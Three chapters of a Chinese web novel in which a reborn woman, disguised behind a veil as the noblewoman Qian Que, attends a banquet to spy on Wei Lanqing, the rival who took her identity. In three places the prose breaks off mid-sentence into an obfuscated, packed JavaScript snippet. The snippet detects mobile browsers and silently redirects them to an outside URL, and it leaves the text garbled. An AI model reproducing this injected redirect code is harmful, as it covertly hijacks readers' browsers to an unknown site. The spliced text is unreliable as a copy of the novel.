这些东西,她有一段时日没有接触了,有些陌生,也给她带来了无穷感触。 前世,她因容貌备受嫉妒,粉黛只敢略施,衣饰更是不敢张扬,可到底是女孩子,面对这些琳琅满目的脂粉金钗岂有不心动的道理?喜欢的东西却只能逼着自己远离,长久下来,她的性子变得敏感而拧巴。 关阇彦出门之时刚好对嬷嬷们交代道:“钱雀自诩容貌艳丽,为人看似低调却暗地里跟旁人较劲。梳妆台上的妆品尽量多研究一番,愈是明丽愈是合适。一切都用最好的。” 嬷嬷们欣欣然道:“奴婢们明白。” 一切都用最好的…… 时机刚刚好。 即便关阇彦只是为了布局时更加严谨才会说出这话,却也足够撩拨起魏郁春内心深处最大的感触。 若非任务使然,这些即便惹她欢喜的东西被主动推到她的面前,她也只会拧巴着劲儿不肯接受。现在她是被逼到走投无路的境地,没有拒绝的权力,拧巴的劲儿无处伸展身手,她只得“被迫”完全笑纳这些好处。于是,看着不悦,心里却又惊又喜,不知所措。这番体会,绝对算得上新奇。 魏郁春想着,这怕不是沾上了他的光了。 她摇摇头,喟叹一息,嬷嬷们一边拿起衣饰为她添衣,一边则提起眉笔与金粉,先将她的眉毛与眼睛仔细描摹精致。 小半个时辰后,她从凳子上移开,揽着华贵的衣裳踱步在屋内,看着铜镜里的自己—— 一对以粉珊瑚珠作蕊的金银双生并蒂莲步摇稳稳嵌在双垂鬟的两侧,金钿配着闹娥金银珠花冠一起戴在额上的发髻上,在光下散着流光似的金粉裙衬托得她的皮肤愈发白嫩,好似透着粉气的羊脂玉。洁白的脖子上带着一只少女样式的长命锁,莲荷宝珠耳坠闪烁着圆润的光彩,与鬟后的步摇相得益彰。 美得好似画里的仙子,她也是头一次以这种方式瞧着冯迎春的这张面容,陌生又熟悉,矛盾的感觉让她险些悖言乱辞一通,以为这是在做梦。 嬷嬷们开始翻找遮掩面孔的面纱,但杜明茜这个爱美张扬的小丫头怎么可能会有这种东西?二位嬷嬷瞧着时间要到了,旋即出门去拿东西了,结果刚出门就看到了在外头已经换了一身常服的关阇彦,他手里拿着一只叠好了的面纱。 他也是刚想到这个点子,才叫杜明堂跟他一起去取面纱的,结果刚要到宅院便就看到了迎上来的二位嬷嬷。 二位嬷嬷接走事物,弯着眉眼笑嘻嘻地道:“二位公子要不要进来看看?奴婢还没见过生得这般特别又标志的小女娘呢!” 杜明堂也听得心痒痒,跟着二人一起打趣起哄:“是啊是啊,二位嬷嬷手段老成,也不知把冯姑娘弄成了何等天仙的模样。” 关阇彦瞥了一眼不远处的屋门,门未关紧,一只两指宽的门缝里,嫩粉色的衣裙好似正翩翩起舞。他告诉自己其实一点都不感兴趣,然后撂手要回走。 本以为杜明堂一定会拉着他一起凑热闹,结果他回头走了好几步,身边还没个人拉他。 回头一看,杜明堂那小子竟是摇着小扇,悠哉游哉地飘进了屋子里去了,一点要管他的意思都没有。关阇彦这才明白,他自己竟是在一厢情愿演着独角戏。 他揉了揉眉心,立马给自己寻了个冠冕堂皇的理由:“这小子也不知道要闹什么麻烦出来,我得去看着他。” 他才不是要去看冯迎春的。 然后他的步子越迈越扎实,越发显得方才的动作太过做贼心虚。 天还微微暗,大概两柱香一过就要升太阳了。杜府里大多数下人还没起身,周遭还是显得太过安静了,他走近屋子,好似听到了心脏微微的抽动声,貌似错觉却不是错觉。 门缝中的裙角变得越来越鲜活明丽,他将门关好,找到杜明堂站着的位置,一起走过去,站队似的。杜明堂这个叽叽喳喳的家伙突然安静了,所有人也都屏住了呼吸,一切显得不寻常,关阇彦不得已挪开目光,自定心神,装作无事发生。 知道嬷嬷将魏郁春的半边面容都遮住,杜明堂才慢慢回神,关阇彦也觉得浑身自在了起来。 魏郁春本人也很是窘迫,结果听到嬷嬷凑在耳边说着的悄悄话,耳边的红色更显娇滴。 “姑娘你瞧,给二位公子迷得都差点要掉了眼珠子呢,嘻嘻。” 杜明堂开始说话了:“知道冯姑娘底子好,却没想到底子这么好。要不是南禺没那个条件,你在京城高低得摘个数一数二的美女名头了。实在是……别有风味啊。” “杜公子言重了。” 魏郁春跟杜明堂其实不熟,这算是他们之间首次正式打交道的机会,她松了松紧张的神情,闲适自在地与他寒暄,说话和举止皆落落大方,简直像个真正的大家闺秀。 杜明堂扶额道:“果然人与人之间是无法比较的,真想叫明茜过来学学。” 换了一套装扮,脸蛋秉性皆没变,关阇彦却觉得她变作了旁人,陌生得不知该如何搭话,末了冷冷打断众人的寒暄:“行了,马夫在外头候着了,赶紧上路,免被闲杂人等瞧见。” 杜明堂悻悻道:“好嘞都督。” 他得守在府里看管和威胁钱雀与她的情夫医工,回头他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447431|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得去问问府里的庞叔,为他们伉俪二人作的春图有没有要完工。 自杜府出发到春桃酒楼还有一大段路要走,途中,他得经过与对接人约定的地点,一旦他们得知魏郁春出发,便会协作起来安排局势走向——也就是散播一些流言,通过街坊百姓的无意之语传到钱宅钱德的耳朵里,让他相信女儿窃钥匙一夜未归去春桃酒宴的奇闻。 关阇彦还有很多东西没来及跟她交代,于是一起上了马夫的车,车内二人一个东一个西坐着,备显生分。这种关头,偏偏空间狭窄,关阇彦颀长的身子无处安放,只好刻意的收拢长腿,用衣袍遮掩住,以减尴尬。 他赶忙说起春桃酒宴的事宜:“酒宴自午时开席,在此之前,任何需求都能跟楼里一个叫做庞小曲的小丫鬟说,此女是杜府庞叔的女儿,跟杜府的关系还算隐晦。今日宴开之前我和杜明堂会想办法跟此女传信沟通,你不必太过担心遭人揭发身份。” “那女子生何模样?” “身材高大,对比普通女子,甚至有些魁梧。但她性子跟外表差别极大,嗓子略粗却总爱夹着嗓子说话,不善于侍弄容貌却喜欢挤眉弄眼。” 这个特点足够鲜明了,都没啥补充的必要了。这些话也都是杜明堂说给他的,他只是代为转述,要再多说点也困难。 魏郁春闻言皱眉,心里不禁奇怪:“莫不是什么男扮女装的人物?” 关阇彦继续说道:“记住言多必失。因为我无法保证酒宴上是否有与钱雀相识的女子。” 魏郁春颔首,道:“此行的目的究竟是什么?” 关阇彦将目的当作压轴,足以说明此事做起来极不容易。他会为了更快让她相信他,让她更快答应自己的请求,的确会弱化这个目的的存在感。 但事到如今,也没什么好继续要瞒着的了。魏郁春也明白了上了贼船焉有跳船的道理,早已准备坦然面对。也不知到底是多难办的事情,为了保证自己的利益既得,对方开口前,她特意提了保证书一口:“我既答应帮你,你也一定要记得信守承诺。” 关阇彦对她的顾虑深以为然,道:“行。” “今日有一个叫做魏澜清的女子也会参宴。” 魏郁春微垂平静的眼瞪大了,其中情绪动荡,她很快又将这处异样压回去,万般话语难以言说,落到嘴边汇成了一只冷飕飕的笑。 “你传说中的未婚妻,魏氏?” 关阇彦对此不震惊:“是杜明茜那丫头说漏了嘴的?” 魏郁春对此不置可否,他怎么想便随他去吧。他能知道些什么呢? 她清高地瞥回眸子,静静地听着关阇彦说话。 “魏氏现在身边的安南都督并非我,而是我同父异母的弟弟关昀洲,在杜家你应有所耳闻过。” “我怀疑他与南禺邪术的操纵者联手,去年秋末便打算除掉我,不久后我的确在圈套中遇害。而我一到南禺,秘术异端频发,我也怀疑这些事情都跟自己有关,可我并没有证据。后来才明白,秘术背后的操纵者是因为发现我被除掉后,才肆无忌惮地作乱南禺。对此人来说,我的身份的确是一个巨大的威胁。不久后,杜明堂也遇害,遇害原因蹊跷,明显又是一个圈套。于是我利用杜明堂假死一事暗探关昀洲的动作,发现他与京中大案芳樱楼杀人纵火案有所关联。为了救关家与杜家,我必须得知道他的底细与他背后的家伙。” “然而,我与杜明堂如今身份特殊,根本无法靠近关昀洲。” 关阇彦的眸色越发深沉,语气沉冷似,冰窖里散着冷气的寒冰:“而魏氏是我们现在唯一的出路。” 魏郁春道:“你想通过接近魏氏来探关昀洲的底?” “是。” 89. 春桃酒宴(2) 魏郁春压抑着胸腹中急促的粗气,因为魏氏对她来说,是曾经让自己彻夜难眠的噩梦源头之一。为了保身,她必须忍着情绪,装作与魏澜清毫无干系的样子。 她咬咬牙,声音却还是温平的:“我该怎么做?” “两日前,杜府白丧,关昀洲一听消息就有了行动,带着魏氏游街,行踪诡异,我推测他是故意用陪未婚妻熟悉京城的理由当作表象欲盖弥彰。他在拥堵的隆月街停留,并且在芳樱楼前下了车,与魏氏买下一对花灯提在手间许久,像是在跟什么人对什么暗号一般。” “魏氏应该自始至终都是旁观者,从她的角度看关昀洲的动作,无意之间其实很容易套出不为人知的细节和秘密。” “你想知道那天晚上关昀洲是如何利用花灯传信的?” “不止,自从芳樱楼出事后,里面的□□伙计还有伎人都被遣到了别处生计,理应空楼一座,关昀洲却对着它对暗号,很不寻常。很明显,楼里面还有什么别的人。关昀洲当晚可能碰到了什么人,魏氏作为一直伴身的人,应该有些印象。” 魏郁春感叹关阇彦思维的缜密,暂时忘却情仇恩怨,肯定道:“我尽力。” “芳樱楼的事满京城闹得沸沸扬扬,官场中人知道的东西想必更多,宴中女眷里不少官家子弟,宴席谈论的内容里多少会带上一嘴,你多留意,适当时候掀风洒雨,能套出来的东西越多越好。” 说到此处,关阇彦也不禁紧张了起来:“总之顺势而为吧,魏氏是唯一的机会,纵使想得到的信息太多,我也不可能奢望一下子从此处觅到。” 他缓缓抬动目光,看向魏郁春时,凌气散去,深沉之意涌动不息,他忽地笑起来:“我这等于将弱点都告诉你了,你不会借此反刺我一刀吧?” 又是刺人耳朵的话,或许是习惯了他的性子,或许是魏郁春从他的眼神里看到了别样的情绪,她语气坚定却又温和:“你或许可以学学怎么说话,将你要表达的意思直接说出来,不好吗?” 关阇彦呵呵一笑,平静又无奈:“我知道。” “冯迎春,我相信你。” “你也会相信我的对么?” “看在往日的交情和那张保证书的份上,我会的。” 关阇彦放心了,他喟叹一息,将身子往后移了移,背靠在车板上,无处安放的长腿微微挪动了一番位置,好缓解一丝疲惫。 魏郁春看着他的模样,心想,他的戒心竟如此重,对于他这样的人,即便爱试探自己,却也很快信任了她,虽有些半信半疑,但她肯定,换作旁人,他定不会这么对待。她怎么值得他如此特殊对待?是他觉得她喜欢过他?还是觉得她身上有些东西可以当作被拿捏之物?还是说,他低声下气了,给足了她承诺,他才降低了警惕心? 她不清楚,也不打算知道了。 路上他们又交流一些细节,包括钱雀小姐一些行为举止的习惯,还有她身上的一些特性与爱好,好助她进行进一步伪装。 再后来,二人保持了一段时间的沉默,互不相言,魏郁春的精力还算充沛,她提前为自己理了理仪容仪表,她将面纱系得更紧了点,牢牢罩住了面容,面纱大了小半圈,纱布可环绕她的脑袋,将她大半后脑勺都围抱起来。如此,即便有心之人想要窥视纱下真容,都得多费力一些,即便快要得手,她都会很快察觉到。 此时,她瞥到了对面关阇彦侧过去的面庞,他已经松懈下来了很多,那张似乎永远不会下耷的双肩已经颓然了下去,一夜奔波未眠,再有精力都很难强撑清醒,但他做到了,只是看起来有些勉强,他一只手扼着腕,微微泛红的指印敷在皮肤上,虽然印记被他的手掌覆住大半,却还是掩不住一些影子。 他的面色阴沉,发丝散乱,额前几缕掉出来的碎发掩住了他的一边眼,坐在那边,一言不发,不怒自威,散发着令人不敢靠近的气息,分明距离很近,却让人总觉得与他之间有着相隔万里的距离。 魏郁春明白,他这个不轻易卸掉担子的人,之所以露出这副模样,其实是一种保护自己的方式,告诉别人,他不累,他很强。 魏郁春撩开了一边帘子,瞥到前方街口一座挂着“春桃酒楼”牌匾的楼房,其陈设特别,外头架着用木枋扎起的彩楼,以朱红青绿施色,浓淡两相宜。楼梯不设在屋内,却以一种被廊庑包裹的形式环绕在楼房一二三层过渡的地方,如同环绕在盘龙山身上的龙云一般,蜿蜒婀娜。 关阇彦对此毫无反应,看似眼睛是睁着的,却不知魂魄飘到哪里去了,那副凶巴巴的模样摆在明面上,内里其实没多少攻击性。 魏郁春提醒他:“快到了。” 关阇彦的动作没变,也意识到自己突然失神,为了掩饰尴尬,他颔首示意,没多说话。 马夫勒住缰绳,扶稳车辕,似乎在跟春桃酒楼门前的阍人打手势传暗号,也不知是何时布下的局。魏郁春被迎下车,关阇彦为遮掩身份只能留在车内不动。 他透过漏光的丝绢纱帘瞧见魏郁春被阍人渐渐引进酒楼的背影,嫩粉色的长裙安稳落地,但酒楼前门人拥杂,魏郁春几乎是以被人前引后挤的方式进入酒楼的。 人多眼杂,她还未熟悉缓解,有些慌乱,于是下意识做出了一些动作。 她顺着身后的群褶牵起衣裙,分外知礼,跨入门槛时模样轻车熟路,虽然还是能从一些看出她的紧张,但毋庸置疑的是,她模仿的大家闺秀之态的确很到位。 这很奇怪。 关阇彦一下子精神了起来,他并未指望过她能在一夜之间就学会钱雀等贵女所熟悉的礼仪,毕竟他跟杜府已经为她铺好了路子,请帖在手,她的气质的确书卷气很足,挺直身板子往那里一站,眼睛精明的人都不一定瞧得出什么破绽。 她……那股奇怪的感觉又来了。 关阇彦想起在南禺与她初识时,对她的第一印象,除了特别的疏离感,那便是割裂感——她既像个标准的南禺人,手足之间却总有着中晋人的影子。 冯迎春,一个傻子,在一次意外后,突然变得聪明伶俐,像换了个人一样。 加上他在南禺经历了不少换脸怪事,可怕的念头,在他脑海里挥之不去。 她真的只是冯迎春吗?她披着冯迎春的皮……内里却是什么人? 魏郁春的身影已经彻底没入了流水般涌动的人群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447432|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,马夫回头,牵起缰绳将车子驾走了。 他的念头很快被打断。 酒楼里,清晨,便已莺歌燕舞一片,一楼内还有不少民间艺人在此戏耍吆喝,精力充沛到令人叹为观止。二三楼皆是雅间,魏郁春的请帖在被得到验证后,便被酒楼里的小二重新带到楼外,他们在挂着五光十色的彩带的彩楼间穿梭好几步,终于来到了楼梯处,起被木制所造的廊庑簇拥,竟还封了顶,唯有两侧敞着风。 “钱小姐,金小姐为您准备了雅间,酒宴还有两个时辰才开始,您先在楼上小憩。等几位小姐到了,小的再唤您。” 不愧是京城赫赫有名的大酒楼,即便是干着最底层事的下人,一个个都是副知书达理的样,说起话来分外顺溜,客套而懂礼。小二知道对方身份不容小觑,自始至终都弯着腰不敢直视她。 魏郁春初来乍到,虽然面容被面纱裹得严实,但唯恐失策,小二的守礼让她的压力小了很多。她轻声“嗯”了一句,就被小二引到了一间上房。小二迅速退场,魏郁春眼看着他下楼的身影消失在眼前,她才再从屋内移步出去。 她绕开三楼内部的陈设,将这里四处都逛了一圈,发现根本没有人。 金玉圆小姐出手阔绰,春桃酒楼今日是直接被包场了,她作为第一个入楼的小姐,自然没在此地看到任何人影。 她在找关阇彦口中说的杜府安插在里头的接头人,想着先提前认准目标,时机成熟后便与她相认。结果,这个人好似比她想象中的要难找一些。三楼无人是正常的,她安慰自己,瞧见接待自己的小二一直不见踪影,她放下心来,下楼,在二楼闲逛,二楼里皆放着一些娱乐事物,各自对应的屋子数不胜数。 譬如摆着名品围棋、双陆棋,铺着锦绣坐垫的棋室;置了各式各样器乐的琴室;挂着名家珍藏画作与诗作的雅居间;专供女子做女工、焚香插花、烹茶吟诗、书法斗诗的地方多到叫人目不暇接…… 春桃酒楼比她想象中还要大得多。 二楼后有一大只照着横截面砌下的巨大屏风门样,一一推展开,发现外头竟然是一座人造的空中花园,花园底部是好几件平房,以作支撑,上面用一圈繁琐精致的围栏圈好。花园中鲜草肥美,夏花灿烂,好几只蹴鞠被人整整齐齐理在一侧。其中正有几名陌生的雅士凭栏对歌,眉开眼笑,外头的晨阳扑洒在他们的脸上,红光满面。 二楼里人也不多,皆是打扫的小丫鬟,她们正急急忙忙地擦拭摆弄无数华美名贵的琴棋诗画,好多小丫头抱着花在楼里穿梭,为瓷瓶装上漂亮鲜嫩的花朵,多是些玫瑰和芍药,听说这些是金小姐最爱的花样,看来是在为春桃酒宴做准备呢。 这些小丫头的个头甚至比她还矮,她站在楼里楼外观望许久,都没找出一个“魁梧”、“爱夹着嗓子说话”的丫头。 她下了一楼,结果仍是这样。甚至还被接应她的阍人和小二瞧见了,疑她是饿了肚子下来寻吃食,深觉酒楼招待不周,连连鞠躬致歉,往厨子那里要来了一大怀抱的点心与好茶好酒,遣人送上三楼雅间,当然,她肯定也是被人连哄带骗地带回了屋子。 楼里貌似根本没有庞小曲这号人物。 90. 春桃酒宴(3) 已经过去了一段时间,魏郁春听到外面的人声越来越多,她们踩着花梯步入三楼雅阁,笑声轻颤,荡漾在略显空旷的屋子里,应该是其他的贵女。 魏郁春按兵不动,心里想着,人已经越来越多,她再不好继续下楼查探寻人,万一遇到了“熟人”什么的,真是百口莫辩了。 以后应该会有越来越多的贵女上来,她放弃了出去的念头,坐在屋内,百无聊赖地听着一楼嘻嘻哈哈的客谈声,其间还总会有几只小曲响起,琴音流荡,宛然入耳,她取来桌上一只梅花酥饼,就着夏荷茶缓缓吞咽入肚。 本以为是一时兴起下的动作,起不了多大波澜,结果酥皮入口,芳香溢齿,一口淡淡的却飘着若有若无的荷香的热茶,将在口中酝酿的甜腻一起冲入腹中,只此一瞬,好似登顶仙京。 对于魏郁春的这副身体来说,的确是第一次尝到这等美味,唇舌与酥饼接触的那一瞬间,简直像是干旱太久的燥土得到了甘霖滋润。 对于魏郁春本人的灵魂来说,这种久违的甜蜜好似带她回到儿时,那时光,她还是朔州府生养出来的女儿。 口腹之欲,人之常情,任心胸多么清高似神仙,却也无法摆脱这种欲望,得到满足的时刻,才是真正的快活赛神仙。 万千感慨,她的心里甜到要沁出泪来,她物色着各式糕点,满心欢喜,生活忽然变得有了盼头。 口腹之欲得到满足之时,她的耳朵也没闲下来,外头贵女们嬉戏交谈的声音闹哄哄的,她们只以为屋内无人,直接站在廊道里大声谈论,作风爽快,没啥心眼,要么是年纪太小,要么便是家中权势滔天养出了目中无人的娇惯性子。 “呵呵,听说了吗,安南都督的未婚妻今儿也要来凑热闹呢!” “啧,提安南都督做什么?”贵女不悦,声音里满是对魏氏的鄙夷,“荒山野岭的山鸡也想上赶着飞上指头当凤凰,魏家算什么东西,也不知使了什么法子迷晕了人家,我看,她哪里配得上都督?对了,听说这次来宴会,就是想着跻身贵女名流之列,哼,真不要脸,不害臊吗?一点本事没有也想来参宴?我们虽是贵女,家中显赫不错,但哪一个没傍身的本事?这魏氏倒好了,靠着男人就要来巴结我们,没门!” “这魏氏不是什么才女吗?在朔州府可是人尽皆知,牛逼哄哄的。” “要真是才女,肚子里怎么会这么没货?我看人一向很准,要我都不好意思来酒宴,她悠哉游哉的,满心不在乎呢,不知道是真的傻,还是太看重名利。” “嘿,我听说安南都督也看不上魏家……” “此话怎讲?” “我爹老说朝堂上讲究权衡之术,说安南都督一定也是这样,关家要为儿子择媳的消息一出来,朝臣们虎视眈眈的,结果挑中了魏氏,整个事情弄得虎头蛇尾,很不寻常呀。结果后来才发现,魏家和关家其实一直有个婚约,但风头压得很近,消息出来前,关家也貌似没去过魏家,多少人都不知道呢。所以我爹怀疑是圣……” 一位贵女突然打断话音,声音也虚了几度,有种做贼心虚的感觉:“嘘!你爹没告诉你不要随便揣测圣意吗?一天到晚你爹你爹的,显着你厉害了,真是的!” “是是是。” 看来这几人中有不少官家子女,听着年纪不大又心眼薄弱的样子。 后来那几个围在一起说话的贵女都纷纷进了各自的房间暂时休憩,话题戛然而止,魏郁春没听尽性,大失所望。 她也渐渐收回心神,推测起来,春桃酒宴,看似是金玉圆的主场,但貌似真正的主角好似是这位“魏氏”。婚期将至,关家为了儿媳妇的身份也是操碎了心,金玉圆纵使不愿,也得卖关家这个面子,魏氏作为酒宴中的另类,自会倍受关注。 有点意思。 魏澜清貌似也不好过。 魏郁春怡然自得起来,看着手边的杯盏,她抵住杯边,将其把玩在指尖,面色不动,心中却鄙夷不已,不断地盼望着魏澜清出糗,显得有些卑鄙,是作壁上观的作风。 魏澜清,她顶着她的身份过得怎么样了呢?备受人追捧? 当她听到别人口中与她本身完全相反的评价时,心里是何感想? 她以为自己得到了她的名声,就等于偷走了她的人生,殊不知,她只能抛弃自我,顶着厌恶之人一辈子的名头,藏在不属于自己的虚假的繁荣里,渐渐糜烂。 这何尝不是一种羞辱? 魏澜清,你装得不累吗? 累或者不累,别人都不会知道不是吗?因为你这辈子都不可能想到亡魂之人会再度归来,与她相逢。 魏郁春内心隐隐激动,关阇彦安排她与魏澜清接触,当真是巧合极了,她算是无心插柳柳成荫,那无法释然、只能偷偷掩藏着的仇恨终于有机会重见天日,她为什么不激动呢? 关阇彦,安南都督,遭遇掉包。 魏郁春,春生才女,被迫让利,遭遇重生。 真是同病相怜的缘分。 如今京城中,关昀洲、魏澜清,这两个人,有谁是真的?偏偏他们互相为对方蒙着双眼,你不知我假,我不知你假,好生精彩。 魏郁春忍不住感慨这种局势的可笑。 约莫半个时辰后,小二来敲门了。 “钱小姐,除了金小姐,众位贵女们皆来齐了,快出来跟大家熟络熟络吧。” 金玉圆向来爱摆弄这种大排面,众位贵女各个对此心知肚明,参宴又不容易,大家当然会选择早点到场,一起想想待会儿要制造什么样的话题捧金小姐欢心,还有要办些啥花样的游戏才能让金小姐万众瞩目。 新来的小姐们则尝试要如何跻身名流,攀附关系。 总之,哪一个人不是操碎了心? 魏郁春放下杯盏,应了一声,听到各位贵女皆有出门的动静后,她才默默从屋子里出来,如此显得自己没那么突出,更加方便她以第三者的视角观察局势。 几位小丫鬟迈着碎步款款而来,欠身行礼,将小姐们分为三四个队伍,依次迎下了二楼,被秀花装饰的大厅里,已经早早被人安置了三十来只桌案与坐席,每只桌案上都摆了一只白瓷花瓶,瓶内插着大红大紫的名贵牡丹花,花下凝露,漂亮的玉盘倒映着花形,上面还干干净净,估计是打算等小姐们入席后才会上点心。 除了代表金玉圆的首席空缺,其他三十来只桌案很快都被人坐满了。位置看似无序,实则充满了潜性规则,越有声望越厉害的贵女都会睨着眼自主地往靠首席的地方落座,其余的,大家心里都知道自己几斤几两,你推我让的,越坐越往后,满是人情世故,根本不需要任何人提醒教学。 钱雀的身份虽然在京城有几分重量,但在这场才贵云集的宴会上,好似轻如鸿毛。 魏郁春代表了她的身份,最后坐到了左侧最末尾的席位上,是一个根本不需要跟任何人多打交道的地方。大家也根本没看到她的人,好似这个位置上坐着的是一个无人在意的鬼魂。 其实贵女里也有一二个跟钱雀有交集的,但这种关头各自想着较劲,压根没有精力跟她说话。加上场上有一个女子将大家的注意力早就引走了,魏郁春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447433|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然无人搭理了。 那个女子,便是魏澜清。 她的席位便在最前头,与首席的位置差了仅仅几步之遥,可见分量是多重。而排在她身后的女子哪一个不比她能力出众、才智聪绝? 所以大家都不服气。 魏郁春与魏澜清相隔甚远,魏郁春甚至只能靠时不时眯眯眼才能看清她的面容,好在她在对岸,中间铺着无人走动的长毯,没有任何遮挡物,她不动如山,便可神不知鬼不觉地打量她。 魏澜清竖着一头垂耳发髻,鬓后插着华贵的金玉镶宝香珠钗,温温婉婉,一身浅绿色掐丝长裙,腰上系着一条丝绦,几只名贵的玉佩与平安符挂在上头,因为衣裳有些素,这些配饰显得有些晃眼,众人打量她的时候,目光要么停留在她那张看似温婉而不善言语的脸庞上,要么则留在那几只玉佩平安符上。 众位小姐一直无人言语,你看看我,我看看你,彼此熟悉的,早已熟练地用着眼神交流,一会儿露出鄙夷之色,一会儿又闪起揶揄的光晕。魏郁春不用想都知道她们在针对谁。 她藏在面纱下的嘴巴慢慢弯出一个弧度,平静却讽刺,嘲笑着魏澜清掩饰在皮囊下的局促——她这位姐姐,在朔州府的时候也是这副德行,外人面前柔和腼腆,在魏家却耀武扬威惯了,但一旦要露出真面目的时候,她的神色虽不变,头皮却紧紧绷着,牵动双耳上的皮肉,所以每到此时,她的耳垂都会以一种难以被人察觉的方式轻轻颤抖起来。 从前,魏澜清无拘无束,想发脾气便发,想闹便闹得个你死我活,即便外面不能做出什么,却一定会自己寻一个地方,寻人发泄。 现在呢?她现在得逼着自己死死忍着,离开后,面对的是不知她真容的未婚夫,成婚后,更是永远无法像从前那样随心恣意,她这一辈子,就得这样过着。 她觉得自己赢了,但早就在不知不觉间就把自己所有的底牌都摸没了,她早就败了。 所以,看着魏澜清这般,魏郁春心里蠢蠢欲动,恨不得当场笑作一团。 魏澜清邻座的贵女,京职外官顺天府丞之女柳如蕙性子也略张扬,不过心机很重,与同样张扬的金玉圆完全不同,有骄无憨。 柳如蕙嘴舌似刺剑,又极爱看人下菜,打量了魏澜清半晌,终是开口:“呀,魏姑娘身上这几只玉佩与平安符好生别致,也不知是求什么的。” “大家快瞧瞧看,甚是好看呢!” 魏澜清佯装镇静的面容松动了起来,看着柳如惠开朗明媚的模样,芥蒂少了,还以为是对方喜欢自己。 她抬眸看到数十双目光齐刷刷地投射在她身上,顿时红光满面,不过眉眼间却处处露着小家子之气。 她点点头,应道:“各位姐姐们喜欢便好。” “这只平安符是我娘家今年春节刚为我求的,这些玉佩则是昨晚夫君为我……” 见她没听懂言外之意,以柳如惠为首的贵女们掩着嘴角嘻嘻嘻地笑起来,旋即道:“妹妹真是厉害,也不知这平安符是求什么的,我估摸是姻缘,不然怎么跟都督勾搭上的?姐姐们好奇又羡慕,当然也想去求一个类似的?毕竟都这么灵了。” “勾搭”一词都出来了,魏澜清就是没有脑子也知道其中贬义了,她当即红了脸,眉梢一会儿上扬一会儿紧蹙,嘴角肌肉抖动,愣是憋着自己一句话不讲。只能听到贵女们嘻嘻哈哈、连绵不绝的笑声。 原本空荡的花厅里,顿时欢声笑语,再也沉寂不起来了。 魏郁春继续作壁上观,想看看魏澜清打算如何应付眼前这副难搞的情形。 91. 春桃酒宴(4) 柳如蕙止住笑声,揶揄起来:“罢了罢了,妹妹别在意,姐姐只是一时兴起,好奇心太重罢了。” 魏澜清牵强地牵着嘴角道:“姐姐说笑了,我怎么会在意呢?” 实际上,她在意到要发疯了,若不是无权无势,只怕会用尽手段将柳如蕙撕成碎肉。 魏郁春瞧着她那副委屈却又强装温和的神色,越看越觉得可笑。不多时,两列丫鬟齐齐上阵,手里端着精美的茶点,一一送到席上,茶点飘香四溢,竟比魏郁春早晨用的还要精致数倍,好似糕点上的每只纹路都是最顶级的工匠使尽浑身解数雕刻出来的。 魏郁春在几十位丫头里找到了个与众不同的存在,那丫头个头比身边的要高得多,身材也壮,很符合关阇彦交代的一些关于此女的特征。不过,庞小曲胜在面容清爽,妆面虽有些潦草,也不会给人造成很不适的感觉,至少不会让人在第一时间就怀疑她是副男人相。 难道是庞小曲? 魏郁春心中一阵激动,够着脑袋要去看她,结果对方对她的存在毫无知觉。但她神色紧张,攥着花盘的手还紧紧绞在一处,感觉有些心虚。 魏郁春下意识地认为,庞小曲已经接应到了消息,所以自有心事,不过她貌似没找到自己的对接人…… 魏郁春为难的皱了皱眉头,心想,全场就她一个人带着面纱,不以真容示人,如此明显,对方却没注意到自己?莫非传信的内容漏掉了什么?还是说,庞小曲太过紧张所以暂时没有找到她? 庞小曲的特征太特别,在入席前魏郁春上下好几层都逛了遍,根本没看到这种丫头,如今好不容易出现一个,她当然认为,除了她以外不可能还有别的人有这些特征了。 眼看庞小曲随着大部队退席,与自己的距离越来越近,魏郁春垮了垮脸,连忙将脖子伸得更长了,想让对方赶紧看到自己。 结果庞小曲埋着脑袋,快速离场,一个眼神都没有施舍给她,好是吝啬。魏郁春也被身边的少女喊住了。 “钱小姐怎么了?腰不舒服么?” 少女语气关切,不像是要故意挖苦人。 魏郁春苦涩一笑,摇摇头,然后把自己努力伸长的脖子又缩了回去,藏在纱下的面容默默叹了一口气。 柳如蕙已经不高兴再与魏澜清交涉,但魏澜清的眼神却直勾勾地盯着身边的贵女,其中包括了柳如蕙。 柳如蕙多半是不愿意搭她的话,平时不爱与陌生女子交流的她,居然大大方方地跟身侧另一个贵女笑谈了起来,跟柳如蕙交好的女子深知其意,也学着她的样子冷落魏澜清。 魏澜清咬着半边嘴唇,默默盯着席前的珍馐糕点,竟有些委屈。 